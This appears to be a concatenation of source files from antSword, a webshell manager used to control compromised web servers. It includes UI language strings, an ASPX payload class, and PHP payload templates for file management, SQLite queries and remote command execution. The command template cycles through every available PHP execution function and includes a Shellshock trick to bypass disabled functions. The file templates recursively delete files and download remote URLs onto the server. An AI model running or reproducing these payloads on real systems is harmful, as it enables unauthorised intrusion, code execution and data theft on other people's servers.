},
prompt: {
btns: {
ok: '',
no: '',
changelog: ''
},
body: (ver) => ` v${ver}, ?`,
loader_body: (ver) => ` v${ver} ,, ?`,
title: '',
changelog: '',
sources: '',
fail: {
md5: 'MD5',
unzip: (err) => `${err}`
}
},
message: {
githint: (workdir) => `Git ${workdir} `,
prepare: "...",
dling: (progress) => `...${progress}%`,
dlingnp: (size) => `...${size}`,
dlend: "",
extract: ", ",
ing: '',
fail: (err) => `${err}`,
success: ''
}
},
encoders: {
title: '',
encoder: "",
decoder: "",
toolbar: {
new: "",
new_decoder: "",
edit: "",
delete: "",
help: "",
save: "",
rsa: "RSA",
more: "",
generate: ""
},
grid: {
ename: "",
etype: "Shell",
edtype: {
title: "",
encoder: "",
decoder: ""
}
},
form: {
public_key: "",
private_key: "",
php_code: "PHP "
},
rsa_config_win_title: "RSA",
edit_win_title: "",
delete_title: "",
message: {
ename_duplicate: "",
rename_success: "",
etype_error: "",
retype_success: "",
create_success: "",
edit_not_select: "",
edit_only_single: "",
edit_null_value: "",
edit_save_success: "",
delete_not_select: "",
delete_success: "",
ename_invalid: "",
rsa_save_success: " RSA ",
rsa_save_error: " RSA "
},
prompt: {
create_encoder: "",
create_decoder: ""
},
confirm: {
generate: '?',
delete: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`)
}
},
aproxy: {
title: '',
toolbar: {
save: '',
test: ''
},
form: {
label: '',
mode: {
noproxy: '',
manualproxy: ''
},
proxy: {
protocol: '',
server: '',
port: '',
username: '',
password: '',
authtip: ''
}
},
success: '',
error: '',
confirm: {
content: '',
title: ''
},
prompt: {
title: ' URL',
success: '',
error: ''
}
},
display: {
title: '',
success: '',
error: '',
confirm: {
content: '',
title: ''
},
toolbar: {
save: ''
},
form: {
shellmanager: {
title: '',
hiddencolumns: {
title: '',
url: 'URL',
ip: 'IP',
addr: '',
note: '',
ctime: '',
utime: ''
}
}
}
},
adefault: {
title: '',
success: '',
error: '',
confirm: {
content: '',
title: ''
},
toolbar: {
save: ''
},
filemanager: {
title: '',
openfileintab: {
title: '',
window: '',
tab: ''
},
bookmark: {
title: '',
nodata: ', ',
grid: {
name: '',
path: ''
},
bmenu: {
add: '',
del: ''
},
add: {
title: '',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
}
},
database: {
title: '',
bookmark: {
title: '',
nodata: ', ',
grid: {
name: '',
path: 'SQL'
},
bmenu: {
add: '',
del: ''
},
add: {
title: 'SQL',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
}
},
shellmanager: {
title: '',
header: {
title: '',
nodata: ', ',
grid: {
name: '',
value: ''
},
bmenu: {
add: '',
del: ''
},
add: {
title: '',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
},
body: {
title: ' Body',
nodata: 'Body, ',
grid: {
name: '',
value: ''
},
bmenu: {
add: 'Body',
del: 'Body'
},
add: {
title: 'Body',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: 'Body',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' Body'
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
},
other: {
nohttps: 'HTTPS',
userandomvariable: '',
requestTimeout: ''
}
},
terminal: {
title: '',
size: ''
}
}
},
plugin: {
error: (err) => `\n${err}`
},
update: {
title: '',
body: (ver) => `${ver}, `
},
viewsite: {
toolbar: {
useproxy: (s) => `: ${s
? ''
: ''}`,
save: '',
view: ''
},
saveSuccess: 'Cookie',
saveFailed: (err) => `Cookie\n${err}`
}
}
``` | /content/code_sandbox/source/language/zh_tw.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 4,916 |
```javascript
/**
* ASPXCsharp
* 2021/11/09
* -
* yzddMr6 <path_to_url
*
*/
"use strict";
// import Base from '../base';
const Base = require("../base");
class ASPXCSHARP extends Base {
constructor(opts) {
super(opts);
//
[
"base",
"command",
"filemanager",
'database/sqlserver',
'database/mysql',
'database/oracle'
].map((_) => {
this.parseTemplate(`./aspxcsharp/template/${_}`);
});
//
this.encoders.map((_) => {
this.parseEncoder(`./aspxcsharp/encoder/${_}`);
});
this.decoders.map((_) => {
this.parseDecoder(`./aspxcsharp/decoder/${_}`);
});
}
/**
*
* @return {array}
*/
get encoders() {
return [];
}
get decoders() {
return ["default"];
}
/**
* HTTP
* @param {Object} data
* @return {Promise} Promise
*/
complete(data, force_default = false) {
//
let tag_s, tag_e;
// if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
// tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
// } else {
// tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
// }
// if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
// tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
// } else {
// tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
// }
tag_s = "->|";
tag_e = "|<-";
let aspxencode = this.__opts__["encode"];
switch (this.__opts__["encode"]) {
case "UTF8":
aspxencode = "UTF-8";
break;
default:
break;
}
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = ASPXCSHARP;
``` | /content/code_sandbox/source/core/aspxcsharp/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 590 |
```javascript
/**
* :: sqlite3
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR:// CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
echo("main".chr(9));
$dbh->close();
}`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `
$hst=base64_decode("#{base64::host}");
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR:// CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
$query="select tbl_name from sqlite_master where type='table' order by tbl_name;";
$stmt=$dbh->prepare($query);
$result=$stmt->execute();
while($res=$result->fetchArray(SQLITE3_ASSOC)){
echo(trim($res['tbl_name']).chr(9));
}
$dbh->close();
}`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `
$hst=base64_decode("#{base64::host}");
$tab=base64_decode("#{base64::table}");
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR:// CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
$query="pragma table_info('{$tab}');";
$stmt=$dbh->prepare($query);
$result=$stmt->execute();
while($res=$result->fetchArray(SQLITE3_ASSOC)){
echo(trim($res['name'])." ({$res['type']})".chr(9));
}
$dbh->close();
}`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$hst=base64_decode("#{base64::host}");
$sql=base64_decode("#{base64::sql}");
$encode=base64_decode("#{base64::encode}");
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR:// CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
$stmt=$dbh->prepare($sql);
if(!$stmt){
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://".$dbh->lastErrorMsg())."\\t|\\t\\r\\n");
} else {
$result=$stmt->execute();
if(!$result){
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://".$dbh->lastErrorMsg())."\\t|\\t\\r\\n");
}else{
$bool=True;
while($res=$result->fetchArray(SQLITE3_ASSOC)){
if($bool){
foreach($res as $key=>$value){
echo($key."\\t|\\t");
}
echo "\\r\\n";
$bool=False;
}
foreach($res as $key=>$value){
echo(base64_encode($value!==NULL?$value:"NULL")."\\t|\\t");
}
echo "\\r\\n";
}
if($bool){
if(!$result->numColumns()){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode($dbh->changes())."\\t|\\t\\r\\n");
}else{
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR:// Table is empty.")."\\t|\\t\\r\\n");
}
}
}
}
$dbh->close();
}`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/sqlite3.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 849 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `$D=base64_decode(substr("#{newbase64::path}",#randomPrefix#));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\\t".$T."\\t".@filesize($P)."\\t".$E."\\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,
},
delete: {
_: `function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(substr("#{newbase64::path}",#randomPrefix#));if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}`,
},
create_file: {
_: `echo @fwrite(fopen(base64_decode(substr("#{newbase64::path}",#randomPrefix#)),"w"),base64_decode(substr("#{newbase64::content}",#randomPrefix#)))?"1":"0";`,
},
read_file: {
_: `$F=base64_decode(substr("#{newbase64::path}",#randomPrefix#));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,
},
copy: {
_: `$m=get_magic_quotes_gpc();$fc=base64_decode(substr("#{newbase64::path}",#randomPrefix#));$fp=base64_decode(substr("#{newbase64::target}",#randomPrefix#));function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");`,
},
download_file: {
_: `$F=base64_decode(substr("#{newbase64::path}",#randomPrefix#));$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`,
},
upload_file: {
_: `$f=base64_decode(substr("#{newbase64::path}",#randomPrefix#));
$c="#{buffer::content}";
$c=str_replace("\\r","",$c);
$c=str_replace("\\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");`.replace(/\n\s+/g, ''),
},
rename: {
_: `
$src=base64_decode(substr("#{newbase64::path}",#randomPrefix#));
$dst=base64_decode(substr("#{newbase64::name}",#randomPrefix#));
echo(rename($src,$dst)?"1":"0");`.replace(/\n\s+/g, ''),
},
retime: {
_: `
$FN=base64_decode(substr("#{newbase64::path}",#randomPrefix#));
$TM=strtotime(base64_decode(substr("#{newbase64::time}", #randomPrefix#)));
if(file_exists($FN)){
echo(@touch($FN,$TM,$TM)?"1":"0");
}else{
echo("0");
};`.replace(/\n\s+/g, ''),
},
chmod: {
_: `
$FN=base64_decode(substr("#{newbase64::path}",#randomPrefix#));
$mode=base64_decode(substr("#{newbase64::mode}",#randomPrefix#));
echo(chmod($FN,octdec($mode))?"1":"0");`.replace(/\n\s+/g, ''),
},
mkdir: {
_: `$f=base64_decode(substr("#{newbase64::path}",#randomPrefix#));echo(mkdir($f)?"1":"0");`,
},
wget: {
_: `$fR=base64_decode(substr("#{newbase64::url}",#randomPrefix#));
$fL=base64_decode(substr("#{newbase64::path}",#randomPrefix#));
$F=@fopen($fR,chr(114));
$L=@fopen($fL,chr(119));
if($F && $L){
while(!feof($F))
@fwrite($L,@fgetc($F));
@fclose($F);
@fclose($L);
echo("1");
}else{
echo("0");
};`.replace(/\n\s+/g, ''),
},
filehash: {
_: `$f=base64_decode("#{base64::path}");
echo("MD5\t".md5_file($f)."\n");
echo("SHA1\t".sha1_file($f)."\n");
`.replace(/\n\s+/g, ''),
},
})
``` | /content/code_sandbox/source/core/phpraw/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,366 |
```javascript
/**
* ::
*/
'use strict';
const languages = {
'en': 'English',
'zh': '',
'zh_hk': '()',
'zh_tw': '()'
}
//
let lang = antSword['storage']('language', false, navigator.language.substr(0, 2));
//
lang = languages[lang] ?
lang :
'en';
//
let langModule = require(`./${lang}`);
langModule.__languages__ = languages;
module.exports = langModule;
``` | /content/code_sandbox/source/language/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 109 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `$p=base64_decode(substr("#{newbase64::bin}",#randomPrefix#));
$s=base64_decode(substr("#{newbase64::cmd}",#randomPrefix#));
$envstr=@base64_decode(substr("#{newbase64::env}",#randomPrefix#));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
function runcmd($c){
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("\n",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";`.replace(/\n\s+/g, ''),
},
listcmd: {
_: `$arr=explode(",",base64_decode(substr("#{newbase64::binarr}",#randomPrefix#)));
foreach($arr as $v){
echo($v."\t".(file_exists($v)?"1":"0")."\n");
}`.replace(/\n\s+/g, ''),
},
quote: {
_: `$p=base64_decode(substr("#{newbase64::bin}",#randomPrefix#));$s=base64_decode(substr("#{newbase64::cmd}",#randomPrefix#));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
}
})
``` | /content/code_sandbox/source/core/phpraw/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,186 |
```javascript
//
// language::en
//
module.exports = {
toastr: {
info: 'Info',
error: 'Error',
warning: 'Warning',
success: 'Success'
},
menubar: {
main: {
title: 'AntSword',
about: 'About',
pluginStore: 'Plugin Store',
settings: 'System setting',
language: 'Language setting',
encoders: 'Encoders manager',
aproxy: 'Proxy setting',
display: 'Display setting',
update: 'Check update',
quit: 'Quit'
},
edit: {
title: 'Edit',
undo: 'Undo',
redo: 'Redo',
cut: 'Cut',
copy: 'Copy',
paste: 'Paste',
selectall: 'SelectAll',
search: 'Search'
},
window: {
title: 'Window',
next: 'Next window',
prev: 'Prev window',
close: 'Close window'
},
debug: {
title: 'Debug',
restart: 'Restart APP',
devtools: 'Developer Tools'
},
tray: {
tip: 'AntSword',
show: 'Show',
hide: 'Hide',
settings: 'System setting',
about: 'About',
quit: 'Quit'
}
},
shellmanager: {
title: 'ShellManager',
contextmenu: {
terminal: 'Terminal',
filemanager: 'FileManager',
database: 'Database',
add: 'Add',
edit: 'Edit',
delete: 'Delete',
move: 'Move',
copy: 'Copy',
search: 'Search',
plugin: 'Plugins',
pluginDefault: 'Default',
pluginStore: 'Plugin Store',
clearCache: 'Clear cache',
clearAllCache: 'Clear all cache',
viewsite: 'View Site',
copyurl: 'Copy URL'
},
category: {
title: 'Category',
default: 'Default',
toolbar: {
add: 'Add',
del: 'Del',
rename: 'Rename'
},
add: {
title: 'Add category'
},
del: {
title: 'Delete category',
confirm: 'Are you sure to delete this category?',
success: (category) => `Delete category(${category}) success!`,
error: (category, err) => `Delete category(${category}failed!\n${err}`
},
rename: {
title: 'Rename category',
disable: 'Prohibited category name!',
exists: 'This category name already exists!',
success: 'Successful rename!',
error: 'Rename category failed!'
}
},
list: {
title: 'Shell Lists',
not_recommended: 'Not recommended',
grid: {
url: 'URL',
ip: 'IP',
addr: 'ADDR',
note: 'NOTE',
ctime: 'CTIME',
utime: 'UTIME'
},
add: {
title: 'Add shell',
toolbar: {
test: 'Test Connection',
add: 'Add',
clear: 'Clear'
},
form: {
url: 'Shell url',
pwd: 'Shell pwd',
note: 'Note',
encode: 'Encode',
type: 'Shell type',
encoder: 'Encoder'
},
test_success: 'Connection Successful!',
test_warning: 'Response is null!',
warning: 'Please enter the full!',
success: 'Add shell success!',
error: (err) => `Add shell failed!\n${err}`
},
edit: {
title: (url) => antSword.noxss(`Edit shell(${url})`),
toolbar: {
save: 'Save',
clear: 'Clear'
},
form: {
url: 'Shell url',
pwd: 'Shell pwd',
note: 'Note',
encode: 'Encode',
type: 'Shell type',
encoder: 'Encoder'
},
warning: 'Please enter the full!',
success: 'Update shell success!',
error: (err) => `Update shell failed!\n${err}`
},
del: {
title: 'Delete shell',
confirm: (len) => antSword.noxss(`Are you sure to delete ${len} shells?`),
success: (len) => `Delete ${len} shells success!`,
error: (err) => `Delete failed!\n${err}`
},
move: {
success: (num) => `Move ${num}datas success!`,
error: (err) => `Move data failed!\n${err}`
},
clearCache: {
title: 'Clear cache',
confirm: 'Are you sure to clear this cache?',
success: 'Clear cache success!',
error: (err) => `Clear cache failed!\n${err}`
},
clearAllCache: {
title: 'Clear all cache',
confirm: 'Are you sure to clear all the cache?',
success: 'Clear all cache success!',
error: (err) => `Clear all cache failed!\n${err}`
},
accordion: {
base: 'Base',
http: 'HTTP',
other: 'Other'
},
otherConf: {
nohttps: 'Ignore HTTPS certificate',
userawbody: 'Use RAW HTTP Body',
userawbodyNotSupport: 'The currently selected Shell type does not support RAW Body mode (RAW Shell Type no need it)',
usemultipart: 'Use Multipart send payload',
addMassData: 'Add garbage data in payload',
randomPrefix: 'Random prefix length',
userandomvariable: 'Use random English word variables',
chunk: {
title: 'Chunked Transfer (Experimentally)',
usechunk: 'Use Chunked send payload.',
min: 'Min Block',
max: 'Max Block',
exphint: 'This feature is currently experimental and cannot be used with Multipart. Some t' +
'ypes of servers may not support Chunked transfers. In addition, it is recommende' +
'd to set the timeout period to 30s or more to avoid data transmission when the n' +
'etwork speed is not good.'
},
terminalCache: "Use the terminal's cache",
filemanagerCache: "Use the filemanager's cache",
uploadFragment: "Upload File Fragmentation Size",
requestTimeout: 'Request timeout',
commandPath: 'Custom terminal-execPath',
customDatatag: {
title: 'Data separator',
usecustomdatatag: 'Use custom data separator',
tags: 'Start tag',
tage: 'End tag',
exphint: 'The data separator should be the same as other unrelated characters on the page',
valideq: 'Start tag and End tag cannot be the same'
},
}
},
toolbar: {
select: 'Please select the WebShell to execute first',
setting: {
text: 'Setting',
pluginlist: 'Plugin List(Select up to 8)',
title: 'Set the plugins you want to add to the toolbar',
save: 'Save',
clear: 'Clear',
error_max: 'Up to 8 popular plugins can be added',
}
}
},
terminal: {
title: 'Terminal',
banner: {
title: 'Infomations',
drive: 'Drive List',
system: 'System Info',
user: 'Current User',
path: 'Current Path'
},
ascmd: {
help: 'Enter ashelp to view local commands',
ashelp: `Usage:
asenv [Key=Value]\t\tSet or Display Environment Variables, eg: asenv AAA=BBB
ascmd [file]\t\tExecute the command with file, eg: ascmd /bin/bash
aslistcmd\t\tList available command interpreters
aspowershell [on|off]\t\tEnable/Disable PowerShell mode, eg: aspowershell on
aswinmode [on|off]\t\tEnable/Disable Windows mode(for recognition errors), eg: aswinmode on
quit\t\tClose terminal
exit\t\tClose terminal
Hot Keys:
Ctrl =\t\tIncrease font
Ctrl -\t\tDecrease font
Ctrl L\t\tClean screen
Ctrl U\t\tClear the current line
Ctrl A\t\tMove cursor to the beginning of the line
Ctrl E\t\tMove cursor to the end of the line
Ctrl F/B\t\tForward and backward (equivalent to the left and right direction keys)
Ctrl P\t\tPrevious command
Ctrl R\t\tSearch command history
Ctrl D\t\tDelete the character of the current cursor
Ctrl H\t\tDeletes the character before the cursor
Ctrl W\t\tDelete the word before the cursor
Ctrl K\t\tDelete to the end of the text
Ctrl T\t\tExchange text at the cursor
`,
ascmd: (cmd) => antSword.noxss(`Will execute the command with ${cmd}.`),
aspowershell: {
on: "Powershell mode enabled",
off: "Powershell mode disabled"
}
}
},
filemanager: {
title: 'FileManager',
delete: {
title: 'Delete',
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number'
? num + ' files'
: num} ?`),
success: (path) => `Delete file [${path}] success!`,
error: (path, err) => `Delete file [${path}] failed!${err
? '\n' + err
: ''}`
},
paste: {
success: (path) => `Paste file success!\n${path}`,
error: (path, err) => `Paste file [${path}] failed!${err
? '\n' + err
: ''}`
},
rename: {
title: 'Rename',
success: 'Rename success!',
error: (err) => `Rename failed!${err
? '\n' + err
: ''}`
},
createFolder: {
title: 'Create Folder',
value: 'New Folder',
success: (path) => `Create folder success!\n${path}`,
error: (path, err) => `Create folder [${path}] failed!${err
? '\n' + err
: ''}`
},
createFile: {
title: 'Create File',
value: 'New File.txt',
success: (path) => `Create file success!\n${path}`,
error: (path, err) => `Create file [${path}] failed!${err
? '\n' + err
: ''}`
},
retime: {
title: 'Retime File',
success: (path) => `Retime file success!\n${path}`,
error: (path, err) => `Retime file [${path}] failed!${err
? '\n' + err
: ''}`
},
chmod: {
title: 'Chmod File',
check: 'Input should be octal numbers, eg: 0644',
success: (path) => `Chmod file success!\n${path}`,
error: (path, err) => `Chmod file [${path}] failed!${err
? '\n' + err
: ''}`
},
wget: {
title: 'Wget File',
check: 'URL is not correct!',
task: {
name: 'WGET',
start: 'Start to wget file..',
success: 'Wget success!',
failed: (ret) => `Failed:${ret}`,
error: (err) => `Error:${err}`
}
},
upload: {
task: {
name: 'Upload',
success: 'Upload success!',
httperr_413: 'Please lower the upload file shard size setting.',
httperr_etime: 'Request timeout, please increase the timeout period.',
httperr_econnrefused: 'Connection refused, check target or proxy is enabled.',
failed: (err) => `Failed:${err}`,
error: (err) => `Error:${err}`
},
success: (path) => `Upload file success!\n${path}`,
error: (path, err) => `Upload file [${path}] failed!${err}`
},
folder: {
title: 'Folders'
},
files: {
title: 'Files',
bookmark: {
add: 'Add bookmark',
del: 'Remove this bookmark',
clear: 'Clear all bookmarks'
},
toolbar: {
new: 'New',
folder: 'Folder',
file: 'File',
wget: 'Wget File',
upload: 'Upload File',
up: 'UP',
refresh: 'Refresh',
home: 'Home',
bookmark: 'Bookmark',
read: 'Read'
},
prompt: {
add: {
title: 'Add to bookmark',
success: (path) => `Add to bookmark success!\n${path}`
},
remove: {
title: 'Remove bookmark',
confirm: 'Remove this bookmark ?',
success: 'Remove bookmark success!'
},
clear: {
title: 'Clear all bookmarks',
confirm: 'Clear all bookmarks ?',
success: 'Clear all bookmark success!'
}
},
grid: {
header: {
name: 'Name',
time: 'Time',
size: 'Size',
attr: 'Attr'
},
contextmenu: {
paste: {
title: 'Paste',
all: 'All items',
clear: {
title: 'Clear items',
info: 'Clear all Clipboard.'
}
},
preview: 'Preview',
filehash: 'FileHash',
edit: {
title: 'Edit',
openwindow: 'Open in Window',
opentab: 'Open in Tab'
},
delete: 'Delete',
rename: 'Rename',
refresh: 'Refresh',
wget: 'WGET',
upload: 'Upload',
download: 'Download',
modify: 'Modify the file time',
chmod: 'Chmod',
copy: {
title: 'Copy',
copyname: 'Copy FileName',
copypath: 'Copy FilePath',
copysuccess: 'Copy to clipboard successfully!',
copyfail: 'Copy to clipboard failed!',
warning: (id) => `Already add to clipboard!\n${id}`,
info: (id) => `Add file to the clipboard.\n${id}`
},
create: {
title: 'Create',
folder: 'Folder',
file: 'File'
},
terminal: 'Open Terminal Here'
}
}
},
editor: {
title: (path) => antSword.noxss(`Edit: ${path}`),
toolbar: {
refresh: 'Refresh',
save: 'Save',
mode: 'Mode',
encode: 'Open with Encoding'
},
loadErr: (err) => `Load file error!\n${err}`,
success: (path) => `Save the file success!\n${path}`,
error: (path, err) => `Save the file [${path}] failed!${err}`
},
tasks: {
title: 'Tasks',
grid: {
header: {
name: 'Name',
desc: 'Description',
status: 'Status',
stime: 'StartTime',
etime: 'EndTime'
}
}
},
download: {
title: 'Download File',
task: {
name: 'Download',
wait: 'Wait to download',
cancel: 'Cancel download',
start: 'Start to download',
success: 'Download success!',
error: (err) => `Error:${err}`
},
error: (name, err) => `Download file [${name}]error!\n${err}`,
success: (name) => `Download file [${name}] success!`
}
},
database: {
list: {
title: 'Config list',
add: 'Add',
del: 'Del',
edit: 'Edit',
check: 'Check',
menu: {
add: 'Add conf',
del: 'Del conf',
edit: 'Edit conf',
adddb: 'New Database',
editdb: 'Edit Database',
deldb: 'Del Database',
addtable: 'New Table',
edittable: 'Edit TableName',
desctable: 'Desc Table',
showcreatetable: 'Create Table SQL',
deltable: 'Del Table',
addcolumn: 'New Column',
editcolumn: 'Edit ColumnName',
delcolumn: 'Del Column'
}
},
query: {
title: 'Exec SQL',
exec: 'Run',
clear: 'Clear',
bookmark: {
title: 'Bookmark',
add: 'Add bookmark',
del: 'Remove this bookmark',
clear: 'Clear all bookmarks'
},
prompt: {
add: {
title: 'Add to bookmark',
success: (path) => `Add to bookmark success!\n${path}`
},
remove: {
title: 'Remove bookmark',
confirm: 'Remove this bookmark ?',
success: 'Remove bookmark success!'
},
clear: {
title: 'Clear all bookmarks',
confirm: 'Clear all bookmarks ?',
success: 'Clear all bookmark success!'
}
}
},
result: {
title: 'Result',
warning: 'Execution is completed, but no results return!',
error: {
database: (err) => `Failed to obtain a list of databases!\n${err}`,
table: (err) => `Get table data failed!\n${err}`,
column: (err) => `Failed to obtain field list!\n${err}`,
query: (err) => `Failure to execute SQL!\n${err}`,
parse: 'Return data format is incorrect!',
noresult: 'No query results!'
},
dump: {
title: "Export Data",
success: "Export success"
}
},
notsupport: 'Not support the current database type',
form: {
title: 'Add conf',
toolbar: {
add: 'Add',
clear: 'Clear',
edit: 'Edit',
test: 'Test connect'
},
conn: 'Connection String',
type: 'Database type',
encode: 'Database encode',
host: 'Host',
user: 'User',
passwd: 'Password',
warning: 'Please fill in the complete!',
success: 'Successful add configuration!',
test_success: 'Connection Successful!',
test_warning: 'Response is null!',
del: {
title: 'Delete configuration',
confirm: 'Determine delete this configuration?',
success: 'Delete configuration success!',
error: (err) => `Delete configuration failed!\n${err}`
},
adddb: {
title: 'New Database',
dbname: 'Name',
characterset: 'Character Set',
charactercollation: 'Collation',
createbtn: 'OK',
cancelbtn: 'Cancel',
success: 'Create database successfully',
error: 'Failed to create database'
},
editdb: {
title: 'Database Properties',
